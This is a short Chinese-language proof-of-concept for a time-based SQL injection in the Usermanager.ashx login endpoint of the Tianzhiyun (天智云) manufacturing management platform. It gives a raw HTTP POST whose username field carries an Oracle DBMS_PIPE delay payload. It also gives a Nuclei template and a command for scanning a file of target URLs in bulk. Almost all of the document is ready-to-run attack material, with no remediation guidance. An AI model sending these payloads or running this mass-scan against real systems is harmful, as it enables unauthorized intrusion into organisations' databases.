天智云智造管理平台 Usermanager.ashx SQL注入漏洞 -POC

• SQL延时注入2秒

POST /Ashx/Usermanager.ashx HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
 
type=LOGIN&username=11') AND 3603=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(100)||CHR(72)||CHR(107),2) AND ('WTiY'='WTiY&pwd=1&vendor=

• 延时4秒

• Nuclei 批量检测POC
• 所用方法nuclei.exe -l 网址文件.txt -t POC.yaml

id: tzyun_Usermanager_SQL_injected

info:
  name: tzyun_Usermanager_SQL_injected
  author: security-xm
  severity: high
  description: 天智云智造管理平台/Ashx/Usermanager.ashx存在SQL注入漏洞
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true

http:
- raw:
  - |
    @timeout: 30s
    POST /Ashx/Usermanager.ashx HTTP/1.1
    Host: {{Hostname}}
    User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 133

    type=LOGIN&username=11') AND 3603=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(100)||CHR(72)||CHR(107),4) AND ('WTiY'='WTiY&pwd=1&vendor=

  redirects: true
  matchers-condition: and
  matchers:
  - id: 1
    type: dsl
    dsl:
    - 'duration>=4'